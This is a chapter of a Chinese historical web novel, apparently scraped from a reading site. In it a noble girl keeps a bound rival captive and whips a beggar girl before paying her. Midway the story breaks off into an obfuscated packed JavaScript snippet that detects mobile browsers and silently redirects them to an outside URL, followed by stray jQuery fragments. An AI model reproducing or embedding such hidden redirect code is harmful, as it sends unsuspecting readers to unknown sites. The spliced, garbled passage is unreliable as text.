今日侯府的马车行得格外慢，车轮吃力地滚动着，轱辘轱辘全靠车夫费力地抽着马鞭。


    “萤水，你同祝府的人都说过了吧？”


    陆昭宁半抵着被塞住唇舌、五花大绑的祝若鱼，蹙眉摇摇折扇，面上满是嫌弃。


    “说过了，按姐姐交代的，就说来陆家小住几日，”祝萤水娇俏地挽过鬓边一缕发丝，“主母多少能猜出大姐姐对陆公子的心思，应是不会起疑的。”


    永安侯府到了。


    陆昭宁同陆明钰一左一右，两相夹着个祝若鱼，在小厮瞠目结舌的表情中，大摇大摆入了府门。


    “喏，上药，”陆昭宁将金疮药扔给陆明钰，“可给人伺候好了。”


    “自然。”


    里间传来声声尖利的嚎叫，鬼哭狼嚎一般，这回陆昭宁没堵她的嘴，到了迟日轩，她自然叫得越大声越好，反正她们几个乐意听。


    接回陆家，趁着明日十五休沐，再把伤多养几日，伤好后，任凭她再怎么告状，也得有证据不是？


    至于程怀新……她挑挑眉，又想起临别时对方所说的那句话。


    “既然陆小姐有报答之意，不如继续聘在下为习字先生吧。”


    可真是“好为人师”啊。


    碍于陆晏听，陆昭宁当下并未答应，只说会考虑。


    书案上的竹笔还未曾用过，只是搁在一旁，生了些许尘灰。


    里间的叫声越来越大，她绕进里边，只见外人面前温婉娴淑的陆明钰正面目扭曲地朝伤口上重重撒药，方才还梨花带雨的祝萤水使劲拧着她阿姐的两条胳膊，龇牙咧嘴的，手上的青筋都快蹦了出来。


    “阿宁，听闻你今日带了朋友回家？”


    陆昭宁还没来得及反应，门前又响起轻轻的叩门声。祝若鱼瞬间瞪大了眼：“晏听哥哥——唔……”


    陆昭宁有些后悔没把她的嘴给封住了。


    “阿……宁？”


    陆昭宁冲祝萤水使了个眼色，对方会意，乖乖巧巧地走了过来。


    “见过陆公子，”门开了，祝萤水羞羞怯怯地行了个礼，“在下祝萤水，家中姑娘排行第二，这几日来府上，多有叨扰。”


    “无碍，祝姑娘，阿宁鲜少带朋友来家中，若有什么招待不周的，只管同她说便是，我方才似乎听见——”


    “陆公子，那是我大姐姐，只不过，如今恐怕有些不方便……”


    “人家试衣裳呢，”陆昭宁将人扭转回去，举着他的双肩往院外走，“今日挺清闲呀，怎么有时间跑我这小院里来了？”


    陆晏听挑了挑眉。


    陆昭宁自觉说错了话，讨好地笑了笑。二人本就在隔壁，自小便有着互相串门的习惯，此话一出，陆晏听恐怕看出自己心里有鬼了。


    “欺负谁了？”


    “什么叫欺负！”陆昭宁扬高了声音，“给人家上药呢，有点儿疼痛不很正常嘛。”


    “怎么伤的？”


    她撇撇嘴：“就……小打小闹了一会儿。”


    “鞭伤？”


    “她自己先去动陆明钰的！我不过替她出口气罢了，”见瞒不下去了，她索性将跑马场上的事儿通通道了出来，“阿兄你放心，过几日，我定会把她原模原样送回祝家的。”


    “阿宁，我是怎么教你的？”


    陆晏听的语气忽而严肃起来。


    “长幼有序，说了多少遍叫阿姐，总记不住。”


    陆昭宁松了口气：“这么严肃做什么，我日后叫阿姐就是了。”


    “还有，祝家那人，你若想留便留，若是烦了，直接丢回去罢了，他们祝家长房既能做出这样的事，也没脸同我们来说道。”


    “是，阿兄，”她捶捶陆晏听的双肩，一颗脑袋左右两边晃来晃去，险些没把人逗笑了，“阿兄辛苦，快去休息吧。”


    “小姐，外边有人送来张字条。”


    “给我的？”陆昭宁伸手接过，目光刚接触到上方的字样，又迅速团成一团。


    “阿兄，我先回去了，陆……阿姐还在我院子里，我得盯着她们别弄出太大动静。”


    陆晏听点点头。


    眼前的身影越来越远，拐角消失在了视线之中。陆晏听微微偏过头，问向一旁的小厮：“字条上写了什么？”


    “只留了个时辰、地址，小的也没看清。”


    陆昭宁揣着字条小跑回了迟日轩，上边的字迹一瞧便是程怀新的，字迹是一点儿也不藏锋的，同人相比，倒是大相径庭。


    “安清巷……”陆昭宁收起字条。这是怕她拒了他的要求，连忙把地点都送来了。


    可她确实对他有几分亏欠。今日瞧他那身打扮，似乎是在练武场打杂。若不是因着她没了长公主那边的差事，怎么也不至于落魄到这种地步。


    “云黛，”里边正闹腾得紧，云黛独自守在外边，“你再去我那小金库里取五十两银子。”


    “小姐，这才月中，您不但月例花完了，还额外支出了五十两了，今日您荷包里，不是才塞了十两银子吗？”


    闻言，陆昭宁摸摸鼻尖：“小金库不会空了吧？”


    “那倒没有，不过，照小姐这个流水似的花法，那是早晚的事儿。”


    “没空就得了，再给我取五十……三十两吧。”


    云黛叹了口气。虽不知自家小姐要这么多银两做什么用，但她一向是劝不住的。


    她进了屋子，打开陆昭宁放银钱的小匣子，最上边是一本账本，往下是七八块金元宝，十几块银锭，一堆碎银，以及一小沓银票。


    又得去换些碎银了。她将所有碎银笼进荷包，取了块银锭，方才够了分量。


    账本上的四月已然记了好几笔，云黛提笔又写下三十两的支出，摇摇头，心想还是在长公主府省银子。


    *


    红日初升，周边簇拥上少女的粉腮新荔，团团圆圆地凑着。云影徘徊间掠过一行白鹭，衔起天光道道，渐渐铺满了人间。


    陆昭宁翻身起床，草草梳洗完毕，撇下院内几人，带上小探花，独自溜出了府门。


    对于街上百姓而言，时辰已然不算早了。来晚的农人挑着担子急匆匆往市场赶，担子里盛放着他们自家地里的瓜果蔬菜，用麻绳稻草捆成一扎一扎的，水灵灵地发着绿。


    陆昭宁打了个哈欠，抓着缰绳，小探花不时迈开蹄子跑上两步，但大多数时候都是悠儿悠儿地往前走着。


    “贵人！求求您发发慈悲吧！”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15953836|176654||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>这儿是揽月阁的地儿，大清早的，达官贵人不是忙着公事便是瘫在床榻上、闲在宅子里，因此人流算不上多。小探花刚迈开了半个步子，前边突然冲出个人，直直拦在马前。


    陆昭宁连忙勒住小探花，就这一刹那的功夫，对方已然双膝跪下了。


    “贵人，我母亲生了病，有得治，但实在没钱看大夫了，做女儿的，哪能这么眼睁睁地看着她走了呢……贵人，您行行好，就当打发狗，赏我们些银子吧，我愿做牛做马来报答您……”


    “这姑娘，可怜哟，就是我们隔壁那条街的……”


    “再没办法，恐怕得去卖身了吧……”


    “谁知道真的假的，若是这般都能得银子，我不得天天去那些高门大户的门前跪着！”


    ……


    陆昭宁烦躁地皱了皱眉，耳边充斥着一群看热闹的闲言碎语，吵得她脑中嗡嗡地响。隔着帷帽的纱帘，她俯下身，眼前不过是一个十三四岁的丫头，因着缺衣少食，看上去还未长开的样子，面黄肌瘦的。


    她朝她抬抬手，示意对方起来，可这丫头已经哭得哽咽了，只顾着垂首抹泪。


    “要多少？”


    闻言，小丫头抬起了头：“十、十五两。”


    陆昭宁抿抿唇，摸了摸荷包里一共就三十两的银子，有些后悔没让云黛再多塞些来。


    若是平日也还好，可偏偏今日是休沐日，自己为了多睡些懒觉，卡着点起的床，出门又急，只束了个发带，未曾佩戴任何首饰。


    小丫头见她沉默，自以为没了希望，索性嚎啕大哭起来。


    “别哭了，别哭了，”陆昭宁连忙劝阻几声，“银子我可以给你，但我这人，向来有个规矩。”


    “想从我手上拿银子，必须得挨下两鞭。”


    说罢，她从腰间抽出一条赤红色的长鞭，鞭子如长蛇一般，极有灵性地摆了摆尾，垂在马鞍旁。


    “这是……那个陆家的？”


    “嘘！小点儿声，你不要命了！”


    “陆将军为人忠义，怎地偏偏养出这么个恶女来，这丫头，今日怕是难得银子了。”


    ……


    “我，我……”


    那丫头瞧见三指粗的长鞭，霎时白了脸。


    见状，陆昭宁摇摇头，轻轻一挑，将鞭尾勾上来，准备收起长鞭。


    “我受着便是了！”


    那小丫头猛然抬起脸，半圆的眼中满是决绝。


    十五两银子……除了卖身、去偷、去抢，他们这些人，去哪儿得十五两银子！


    “啪！”


    赤红的长鞭从马背上高高落下，粗砺的尾巴落至少女不合身的土黄色布衣，扫过衣料包裹着的背脊，留下一道鲜红的血痕。


    她顺着跪姿，身子如同一只蚀米的雀，向前扑倒，用嘴尖去啄那填饥之米。


    “这姑娘，未免太可怜了……”


    “啪！”


    又是一鞭，重重落了下去。众人只见一片尘土，忙忙闭了眼，舞着手挥开。


    “当啷”一声，一只水红的荷包重重落了下来，姑娘迷茫地睁开眼，护上那只救命的钱袋。


    那位头戴帷帽的贵人早已策马离开，只余地上一道粉红的血痕。